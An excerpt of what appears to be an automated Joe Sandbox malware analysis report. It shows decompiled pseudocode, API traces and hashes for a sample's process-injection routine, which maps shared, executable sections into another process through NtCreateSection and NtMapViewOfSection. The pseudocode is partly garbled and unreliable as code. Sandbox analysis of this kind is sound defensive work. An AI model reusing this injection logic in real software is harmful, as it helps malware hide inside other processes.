0x0040166f
0x00401688
0x0040168a
0x00401694
0x0040169a
0x004016a0
0x004016a0
0x00401688
0x0040166a
0x004016a3
0x004016af
0x004016b2
0x004016b4
0x004016c9
0x004016cf
0x004016dc
0x004016df
0x004016e2
0x004016fa
0x00401700
0x00401703
0x0040171a
0x0040171c
0x00401722
0x00401727
0x0040172f
0x004017a4
0x004017a5
0x004017b1
0x004017c0
0x00000000
0x0040172b
0x0040172b
0x00000000
0x0040172d
0x0040172d
0x0040172e
0x00000000
0x0040172e
0x0040172b
0x00401727
0x0040171c
0x00000000
0x004016fa
0x004016cf
0x004016c9
0x00401600
0x004018d6
0x00401909
0x00401912

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401683
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C4
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F5
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401717

Memory Dump Source

Source File: 00000000.00000002.327319549.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2724959ca90097593f2bae81e778bd46c3888eae9eec304cee1990dc311dfe77
Instruction ID: 261b6cc0bc968e0ced8050ca7f20839481a744be2ea717bb7b43cd06ccdbd1b7
Opcode Fuzzy Hash: 2724959ca90097593f2bae81e778bd46c3888eae9eec304cee1990dc311dfe77
Instruction Fuzzy Hash: 7B510B71900209BFEB209F91CC49FAF7BB8FF85B10F104169F911BA2E5E6759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401577 Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E00401577(signed int __eax, void* __ebx, void* __edx, void* __edi, void* __fp0) {
				intOrPtr _t90;
				long _t93;
				void* _t95;
				struct _GUID _t101;
				struct _GUID _t103;
				PVOID* _t105;
				PVOID* _t107;
				PVOID* _t124;
				PVOID* _t126;
				intOrPtr _t131;
				long* _t135;
				long _t178;
				long* _t186;
				intOrPtr* _t188;
				HANDLE* _t189;
				HANDLE* _t190;
				void* _t203;
				void* _t204;
				void* _t206;
				void* _t207;
				signed int _t212;
				long _t226;
				void* _t231;

				_t231 = __fp0;
				_t212 = __eax ^ 0x15a2b8d3;
				_push(0x36c);
				_t207 = _t206 + 4;
				L00401271(0x15a2, __ebx, __edi, _t212);
				_t131 =  *((intOrPtr*)(_t204 + 8));
				_t178 = 0;
				 *((intOrPtr*)(_t204 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t204 - 0x34)) =  *((intOrPtr*)(_t204 - 0x34)) + 1;
				}
				while(1) {
					_t90 =  *((intOrPtr*)(_t131 + 0x48))();
					if(_t90 != 0) {
						break;
					}
					 *((intOrPtr*)(_t131 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t204 - 0x5c)) = _t90;
				_t186 = _t204 - 0x60;
				 *_t186 = _t178;
				 *((intOrPtr*)(_t131 + 0x4c))(_t90, _t186);
				_t93 =  *_t186;
				if(_t93 != 0) {
					_t135 = _t204 - 0x30;
					 *_t135 = _t93;
					_t135[1] = _t178;
					_t188 = _t204 - 0x28;
					 *((intOrPtr*)(_t131 + 0x10))(_t188, 0x18);
					 *_t188 = 0x18;
					_push(_t204 - 0x30);
					_push(_t188);
					_push(0x40);
					_push(_t204 - 0x10);
					if( *((intOrPtr*)(_t131 + 0x70))() == 0 && NtDuplicateObject( *(_t204 - 0x10), 0xffffffff, 0xffffffff, _t204 - 0xc, _t178, _t178, 2) == 0) {
						 *(_t204 - 8) = _t178;
						_t101 = _t204 - 0x50;
						 *(_t101 + 4) = _t178;
						 *_t101 = 0x5000;
						_t189 = _t204 - 0x54;
						if(NtCreateSection(_t189, 6, _t178, _t101, 4, 0x8000000, _t178) == 0) {
							 *_t25 =  *(_t204 - 0x50);
							_t124 = _t204 - 0x44;
							 *_t124 = _t178;
							if(NtMapViewOfSection( *_t189, 0xffffffff, _t124, _t178, _t178, _t178, _t204 - 0x38, 1, _t178, 4) == 0) {
								_t126 = _t204 - 0x3c;
								 *_t126 = _t178;
								if(NtMapViewOfSection( *_t189,  *(_t204 - 0xc), _t126, _t178, _t178, _t178, _t204 - 0x38, 1, _t178, 4) == 0) {
									_t203 =  *(_t204 - 0x44);
									 *((intOrPtr*)(_t131 + 0x20))(_t178, _t203, 0x104);
									 *((intOrPtr*)(_t203 + 0x208)) =  *((intOrPtr*)(_t204 + 0x14));
									 *(_t204 - 8) =  *(_t204 - 8) + 1;
								}
							}
						}
						_t103 = _t204 - 0x50;
						 *(_t103 + 4) = _t178;
						 *_t103 =  *((intOrPtr*)(_t204 + 0x10)) + 0x10000;
						_t190 = _t204 - 0x58;
						if(NtCreateSection(_t190, 0xe, _t178, _t103, 0x40, 0x8000000, _t178) == 0) {
							while( *(_t204 - 8) != 0) {
								 *_t46 =  *(_t204 - 0x50);
								_t105 = _t204 - 0x48;
								 *_t105 = _t178;
								if(NtMapViewOfSection( *_t190, 0xffffffff, _t105, _t178, _t178, _t178, _t204 - 0x38, 1, _t178, 4) == 0) {
									_t107 = _t204 - 0x40;
									 *_t107 = _t178;
									_t226 = NtMapViewOfSection( *_t190,  *(_t204 - 0xc), _t107, _t178, _t178, _t178, _t204 - 0x38, 1, _t178, 0x20);
									if(_t226 == 0) {
										L20();
										if(_t226 != 0 || _t226 == 0) {
											L24:
											asm("lodsb");
											goto L42;
											asm("loop 0xffffffc7");
											switch(0x4017c8) {
											}
										} else {
											if(_t226 < 0) {
												continue;
											} else {
												asm("cmpsd");
												_t207 = _t207 - 1;
												goto L24;
											}
										}
									}
								}
								goto L62;
							}
						}
					}
				}
				L62:
				_t95 = L00401271(0x15a2, _t131, _t178, _t230);
				return _t95;
			}

0x00401577
0x00401577
0x0040158b
0x00401593
0x0040159d
0x004015a2
0x004015a5
0x004015a7
0x004015b0
0x004015b2
0x004015b2
0x004015b5
0x004015b5
0x004015ba
0x00000000
0x00000000
0x004018dd
0x004018dd
0x004015c0
0x004015c3
0x004015c6
0x004015ca
0x004015cd
0x004015d1
0x004015d7
0x004015da
0x004015dc
0x004015df
0x004015e5
0x004015e8
0x004015f6
0x004015f7
0x004015f8
0x004015fa
0x00401600
0x00401623
0x00401626
0x00401629
0x0040162c
0x00401632
0x00401647
0x0040164c
0x0040164f
0x00401652
0x0040166a
0x0040166c
0x0040166f
0x00401688
0x0040168a
0x00401694
0x0040169a
0x004016a0
0x004016a0
0x00401688
0x0040166a
0x004016a3
0x004016af
0x004016b2
0x004016b4
0x004016c9
0x004016cf
0x004016dc
0x004016df
0x004016e2
0x004016fa
0x00401700
0x00401703
0x0040171a
0x0040171c
0x00401722
0x00401727
0x0040172f
0x004017a4
0x004017a5
0x004017b1
0x004017c0
0x00000000
0x0040172b
0x0040172b
0x00000000
0x0040172d
0x0040172d
0x0040172e
0x00000000
0x0040172e
0x0040172b
0x00401727
0x0040171c
0x00000000
0x004016fa
0x004016cf
0x004016c9
0x00401600
0x004018d6
0x00401909
0x00401912

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401683
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C4
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F5
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401717

Memory Dump Source

Source File: 00000000.00000002.327319549.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: d62221e2a9e443d9bc5816716b28d20c51c631a2778ae685e110c82c7b342627
Instruction ID: b0faeeba7e18bafba690b3cb0d97e2e89bbfd40d66e78b2ea794a9924a670d05
Opcode Fuzzy Hash: d62221e2a9e443d9bc5816716b28d20c51c631a2778ae685e110c82c7b342627
Instruction Fuzzy Hash: 08511B71900209BFEB209F91CC48FAF7BB8FF85B10F104159F911BA2A5E6759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401587 Relevance: 10.7, APIs: 7, Instructions: 167
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00401587(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __fp0) {
				void* _t87;
				intOrPtr _t90;
				long _t93;
				void* _t95;
				struct _GUID _t101;
				struct _GUID _t103;
				PVOID* _t105;
				PVOID* _t107;
				PVOID* _t124;
				PVOID* _t126;
				intOrPtr _t131;
				long* _t136;
				long _t179;
				long* _t187;
				intOrPtr* _t189;
				HANDLE* _t190;
				HANDLE* _t191;
				void* _t204;
				void* _t205;
				void* _t207;
				void* _t208;
				intOrPtr _t213;
				long _t227;
				void* _t232;

				_t232 = __fp0;
				asm("out 0xdc, al");
				_t1 = _t205 + 0x68;
				 *_t1 =  *((intOrPtr*)(_t205 + 0x68)) + __ecx;
				_t213 =  *_t1;
				_push(0x36c);
				_t208 = _t207 + 4;
				L00401271(_t87, __ebx, __edi, _t213);
				_t131 =  *((intOrPtr*)(_t205 + 8));
				_t179 = 0;
				 *((intOrPtr*)(_t205 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t205 - 0x34)) =  *((intOrPtr*)(_t205 - 0x34)) + 1;
				}
				while(1) {
					_t90 =  *((intOrPtr*)(_t131 + 0x48))();
					if(_t90 != 0) {
						break;
					}
					 *((intOrPtr*)(_t131 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t205 - 0x5c)) = _t90;
				_t187 = _t205 - 0x60;
				 *_t187 = _t179;
				 *((intOrPtr*)(_t131 + 0x4c))(_t90, _t187);
				_t93 =  *_t187;
				if(_t93 != 0) {
					_t136 = _t205 - 0x30;
					 *_t136 = _t93;
					_t136[1] = _t179;
					_t189 = _t205 - 0x28;
					 *((intOrPtr*)(_t131 + 0x10))(_t189, 0x18);
					 *_t189 = 0x18;
					_push(_t205 - 0x30);
					_push(_t189);
					_push(0x40);
					_push(_t205 - 0x10);
					if( *((intOrPtr*)(_t131 + 0x70))() == 0 && NtDuplicateObject( *(_t205 - 0x10), 0xffffffff, 0xffffffff, _t205 - 0xc, _t179, _t179, 2) == 0) {
						 *(_t205 - 8) = _t179;
						_t101 = _t205 - 0x50;
						 *(_t101 + 4) = _t179;
						 *_t101 = 0x5000;
						_t190 = _t205 - 0x54;
						if(NtCreateSection(_t190, 6, _t179, _t101, 4, 0x8000000, _t179) == 0) {
							 *_t27 =  *(_t205 - 0x50);
							_t124 = _t205 - 0x44;
							 *_t124 = _t179;
							if(NtMapViewOfSection( *_t190, 0xffffffff, _t124, _t179, _t179, _t179, _t205 - 0x38, 1, _t179, 4) == 0) {
								_t126 = _t205 - 0x3c;
								 *_t126 = _t179;
								if(NtMapViewOfSection( *_t190,  *(_t205 - 0xc), _t126, _t179, _t179, _t179, _t205 - 0x38, 1, _t179, 4) == 0) {
									_t204 =  *(_t205 - 0x44);
									 *((intOrPtr*)(_t131 + 0x20))(_t179, _t204, 0x104);
									 *((intOrPtr*)(_t204 + 0x208)) =  *((intOrPtr*)(_t205 + 0x14));
									 *(_t205 - 8) =  *(_t205 - 8) + 1;
								}
							}
						}
						_t103 = _t205 - 0x50;
						 *(_t103 + 4) = _t179;
						 *_t103 =  *((intOrPtr*)(_t205 + 0x10)) + 0x10000;
						_t191 = _t205 - 0x58;
						if(NtCreateSection(_t191, 0xe, _t179, _t103, 0x40, 0x8000000, _t179) == 0) {
							while( *(_t205 - 8) != 0) {
								 *_t48 =  *(_t205 - 0x50);
								_t105 = _t205 - 0x48;
								 *_t105 = _t179;
								if(NtMapViewOfSection( *_t191, 0xffffffff, _t105, _t179, _t179, _t179, _t205 - 0x38, 1, _t179, 4) == 0) {
									_t107 = _t205 - 0x40;
									 *_t107 = _t179;
									_t227 = NtMapViewOfSection( *_t191,  *(_t205 - 0xc), _t107, _t179, _t179, _t179, _t205 - 0x38, 1, _t179, 0x20);
									if(_t227 == 0) {
										L17();
										if(_t227 != 0 || _t227 == 0) {
											L21:
											asm("lodsb");
											goto L39;
											asm("loop 0xffffffc7");
											switch(0x4017c8) {
											}
										} else {
											if(_t227 < 0) {
												continue;
											} else {
												asm("cmpsd");
												_t208 = _t208 - 1;
												goto L21;
											}
										}
									}
								}
								goto L59;
							}
						}
					}
				}
				L59:
				_t95 = L00401271(0x15a2, _t131, _t179, _t231);
				return _t95;
			}

0x00401587
0x00401587
0x00401589
0x00401589
0x00401589
0x0040158b
0x00401593
0x0040159d
0x004015a2
0x004015a5
0x004015a7
0x004015b0
0x004015b2
0x004015b2
0x004015b5
0x004015b5
0x004015ba
0x00000000
0x00000000
0x004018dd
0x004018dd
0x004015c0
0x004015c3
0x004015c6
0x004015ca
0x004015cd
0x004015d1
0x004015d7
0x004015da
0x004015dc
0x004015df
0x004015e5
0x004015e8
0x004015f6
0x004015f7
0x004015f8
0x004015fa
0x00401600
0x00401623
0x00401626
0x00401629
0x0040162c
0x00401632
0x00401647
0x0040164c
0x0040164f
0x00401652
0x0040166a
0x0040166c
0x0040166f
0x00401688
0x0040168a
0x00401694
0x0040169a
0x004016a0
0x004016a0
0x00401688
0x0040166a
0x004016a3
0x004016af
0x004016b2
0x004016b4
0x004016c9
0x004016cf
0x004016dc
0x004016df
0x004016e2
0x004016fa
0x00401700
0x00401703
0x0040171a
0x0040171c
0x00401722
0x00401727
0x0040172f
0x004017a4
0x004017a5
0x004017b1
0x004017c0
0x00000000
0x0040172b
0x0040172b
0x00000000
0x0040172d
0x0040172d
0x0040172e
0x00000000
0x0040172e
0x0040172b
0x00401727
0x0040171c
0x00000000
0x004016fa
0x004016cf
0x004016c9
0x00401600
0x004018d6
0x00401909
0x00401912

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401683
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C4
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F5
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401717

Memory Dump Source

Source File: 00000000.00000002.327319549.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 8bb3de617ba26b69093f1a55f0c70da1e77151e50b2de449b15fd8471af5bca1
Instruction ID: eba5a94354b6d959a908896b75b9ac4ab9a555b93fbf6af3f2d26d8a5be8b00e
Opcode Fuzzy Hash: 8bb3de617ba26b69093f1a55f0c70da1e77151e50b2de449b15fd8471af5bca1
Instruction Fuzzy Hash: 65512875900249BFEF208F91CC48FEFBBB8FF85B00F104159F911AA2A5E6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401584 Relevance: 10.7, APIs: 7, Instructions: 166
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E00401584(void* __ebx, void* __edx, void* __edi, void* __fp0) {
				void* _t85;
				intOrPtr _t88;
				long _t91;
				void* _t93;
				struct _GUID _t99;
				struct _GUID _t101;
				PVOID* _t103;
				PVOID* _t105;
				PVOID* _t122;
				PVOID* _t124;
				intOrPtr _t130;
				long* _t134;
				long _t177;
				long* _t185;
				intOrPtr* _t187;
				HANDLE* _t188;
				HANDLE* _t189;
				void* _t202;
				void* _t203;
				void* _t205;
				void* _t206;
				void* _t211;
				long _t225;
				void* _t230;

				_t230 = __fp0;
				_t129 = __ebx - 1;
				_t211 = __ebx - 1;
				_push(0x36c);
				_t206 = _t205 + 4;
				L00401271(_t85, _t129, __edi, _t211);
				_t130 =  *((intOrPtr*)(_t203 + 8));
				_t177 = 0;
				 *((intOrPtr*)(_t203 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t203 - 0x34)) =  *((intOrPtr*)(_t203 - 0x34)) + 1;
				}
				while(1) {
					_t88 =  *((intOrPtr*)(_t130 + 0x48))();
					if(_t88 != 0) {
						break;
					}
					 *((intOrPtr*)(_t130 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t203 - 0x5c)) = _t88;
				_t185 = _t203 - 0x60;
				 *_t185 = _t177;
				 *((intOrPtr*)(_t130 + 0x4c))(_t88, _t185);
				_t91 =  *_t185;
				if(_t91 != 0) {
					_t134 = _t203 - 0x30;
					 *_t134 = _t91;
					_t134[1] = _t177;
					_t187 = _t203 - 0x28;
					 *((intOrPtr*)(_t130 + 0x10))(_t187, 0x18);
					 *_t187 = 0x18;
					_push(_t203 - 0x30);
					_push(_t187);
					_push(0x40);
					_push(_t203 - 0x10);
					if( *((intOrPtr*)(_t130 + 0x70))() == 0 && NtDuplicateObject( *(_t203 - 0x10), 0xffffffff, 0xffffffff, _t203 - 0xc, _t177, _t177, 2) == 0) {
						 *(_t203 - 8) = _t177;
						_t99 = _t203 - 0x50;
						 *(_t99 + 4) = _t177;
						 *_t99 = 0x5000;
						_t188 = _t203 - 0x54;
						if(NtCreateSection(_t188, 6, _t177, _t99, 4, 0x8000000, _t177) == 0) {
							 *_t25 =  *(_t203 - 0x50);
							_t122 = _t203 - 0x44;
							 *_t122 = _t177;
							if(NtMapViewOfSection( *_t188, 0xffffffff, _t122, _t177, _t177, _t177, _t203 - 0x38, 1, _t177, 4) == 0) {
								_t124 = _t203 - 0x3c;
								 *_t124 = _t177;
								if(NtMapViewOfSection( *_t188,  *(_t203 - 0xc), _t124, _t177, _t177, _t177, _t203 - 0x38, 1, _t177, 4) == 0) {
									_t202 =  *(_t203 - 0x44);
									 *((intOrPtr*)(_t130 + 0x20))(_t177, _t202, 0x104);
									 *((intOrPtr*)(_t202 + 0x208)) =  *((intOrPtr*)(_t203 + 0x14));
									 *(_t203 - 8) =  *(_t203 - 8) + 1;
								}
							}
						}
						_t101 = _t203 - 0x50;
						 *(_t101 + 4) = _t177;
						 *_t101 =  *((intOrPtr*)(_t203 + 0x10)) + 0x10000;
						_t189 = _t203 - 0x58;
						if(NtCreateSection(_t189, 0xe, _t177, _t101, 0x40, 0x8000000, _t177) == 0) {
							while( *(_t203 - 8) != 0) {
								 *_t46 =  *(_t203 - 0x50);
								_t103 = _t203 - 0x48;
								 *_t103 = _t177;
								if(NtMapViewOfSection( *_t189, 0xffffffff, _t103, _t177, _t177, _t177, _t203 - 0x38, 1, _t177, 4) == 0) {
									_t105 = _t203 - 0x40;
									 *_t105 = _t177;
									_t225 = NtMapViewOfSection( *_t189,  *(_t203 - 0xc), _t105, _t177, _t177, _t177, _t203 - 0x38, 1, _t177, 0x20);
									if(_t225 == 0) {
										L19();
										if(_t225 != 0 || _t225 == 0) {
											L23:
											asm("lodsb");
											goto L41;
											asm("loop 0xffffffc7");
											switch(0x4017c8) {
											}
										} else {
											if(_t225 < 0) {
												continue;
											} else {
												asm("cmpsd");
												_t206 = _t206 - 1;
												goto L23;
											}
										}
									}
								}
								goto L61;
							}
						}
					}
				}
				L61:
				_t93 = L00401271(0x15a2, _t130, _t177, _t229);
				return _t93;
			}

0x00401584
0x00401584
0x00401584
0x0040158b
0x00401593
0x0040159d
0x004015a2
0x004015a5
0x004015a7
0x004015b0
0x004015b2
0x004015b2
0x004015b5
0x004015b5
0x004015ba
0x00000000
0x00000000
0x004018dd
0x004018dd
0x004015c0
0x004015c3
0x004015c6
0x004015ca
0x004015cd
0x004015d1
0x004015d7
0x004015da
0x004015dc
0x004015df
0x004015e5
0x004015e8
0x004015f6
0x004015f7
0x004015f8
0x004015fa
0x00401600
0x00401623
0x00401626
0x00401629
0x0040162c
0x00401632
0x00401647
0x0040164c
0x0040164f
0x00401652
0x0040166a
0x0040166c
0x0040166f
0x00401688
0x0040168a
0x00401694
0x0040169a
0x004016a0
0x004016a0
0x00401688
0x0040166a
0x004016a3
0x004016af
0x004016b2
0x004016b4
0x004016c9
0x004016cf
0x004016dc
0x004016df
0x004016e2
0x004016fa
0x00401700
0x00401703
0x0040171a
0x0040171c
0x00401722
0x00401727
0x0040172f
0x004017a4
0x004017a5
0x004017b1
0x004017c0
0x00000000
0x0040172b
0x0040172b
0x00000000
0x0040172d
0x0040172d
0x0040172e
0x00000000
0x0040172e
0x0040172b
0x00401727
0x0040171c
0x00000000
0x004016fa
0x004016cf
0x004016c9
0x00401600
0x004018d6
0x00401909
0x00401912

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401683
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C4
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F5
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401717

Memory Dump Source

Source File: 00000000.00000002.327319549.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: e80f536caf152bf3e94cc0c71f5de3aa1a25313e1634a9dc855d69bf66b71934
Instruction ID: ff4589d9dd45cbe131ca404f5a1a7b84b96daa50389d3937c11961242829b966
Opcode Fuzzy Hash: e80f536caf152bf3e94cc0c71f5de3aa1a25313e1634a9dc855d69bf66b71934
Instruction Fuzzy Hash: 3F51FB75900209BFEB209F91CC48FAF7BB8FF85B10F104159F911BA2A5E6759945CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401727 Relevance: 3.2, APIs: 2, Instructions: 161
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F5
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401717

Memory Dump Source

Source File: 00000000.00000002.327319549.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: b3269723936a826867743af8648194db1896da90316e4de967469b083faf0333
Instruction ID: 14111f5365361c6cb25e6e8641aff9d84a81222d0f78e87a8274a0a0a7f535ba
Opcode Fuzzy Hash: b3269723936a826867743af8648194db1896da90316e4de967469b083faf0333
Instruction Fuzzy Hash: 22519136904204EBDB259A55CC48FBA77B5EF84704F24813BE842772F0D67C6A42E75B

Uniqueness

Uniqueness Score: -1.00%

Function 005E003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 005E024D

Strings

cess, xrefs: 005E018D
kernel32.dll, xrefs: 005E008F, 005E0095

Memory Dump Source

Source File: 00000000.00000002.327509086.00000000005E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 8d9f06940a44e2be45beeee2e4bbecad622b7844b54902dca0b4f5182f6b35db
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: A9526874A00269DFDB64CF59C984BA8BBB1BF09304F1480D9E94DAB391DB70AE85DF14

Uniqueness

Uniqueness Score: -1.00%

Function 005E0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,005E0223,?,?), ref: 005E0E19
SetErrorMode.KERNELBASE(00000000,?,?,005E0223,?,?), ref: 005E0E1E

Memory Dump Source

Source File: 00000000.00000002.327509086.00000000005E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: cea14cca2211f37e0d6e011ac58af5d885f71300399aca2e74a7d4b784c7d1e3
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 0FD0123114512877D7002A95DC09BCD7F1CDF05B62F008421FB0DD9080C7B0994046E5

Uniqueness

Uniqueness Score: -1.00%

Function 00401915 Relevance: 1.3, APIs: 1, Instructions: 52
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 22%

			E00401915(void* __eflags, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* _t11;
				void* _t13;
				void* _t16;
				intOrPtr* _t17;
				void* _t20;
				void* _t21;

				_t24 = __eflags;
				_push(0x5a);
				L00401271(0x194a, _t16, _t21, __eflags);
				_t17 = _a4;
				Sleep(0x1388);
				_push( &_v8);
				_push(_a12);
				_push(_a8);
				_push(_t17); // executed
				_t11 = E0040149E(_t20, _t24); // executed
				_t25 = _t11;
				if(_t11 != 0) {
					E0040156B(_t20, _t25, __fp0, _t17, _t11, _v8, _a16); // executed
				}
				 *_t17(0xffffffff, 0);
				_t13 = 0x194a;
				_push(0x5a);
				return L00401271(_t13, _t17, _t21, _t25);
			}

0x00401915
0x00401936
0x00401945
0x0040194a
0x00401952
0x00401958
0x00401959
0x0040195c
0x0040195f
0x00401960
0x00401965
0x00401967
0x00401971
0x00401971
0x0040197a
0x00401987
0x00401995
0x004019a8

APIs

Sleep.KERNELBASE(00001388), ref: 00401952

Part of subcall function 0040156B: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
Part of subcall function 0040156B: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
Part of subcall function 0040156B: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665

Memory Dump Source

Source File: 00000000.00000002.327319549.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 8d7522ae025c59350a8340f22a2b8cba072d69a72e0f694a0a7740aa560291c7
Instruction ID: 2a8389aefedc19a0c504b98736b9e0000cd3886a04144bd02a53e168a9e3d464
Opcode Fuzzy Hash: 8d7522ae025c59350a8340f22a2b8cba072d69a72e0f694a0a7740aa560291c7
Instruction Fuzzy Hash: 7001A2B5208204F7EB006A949C61EBF3628AB01761F204037FA17B90F1D57C8A13E72F

Uniqueness

Uniqueness Score: -1.00%

Function 00401920 Relevance: 1.3, APIs: 1, Instructions: 46
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 20%

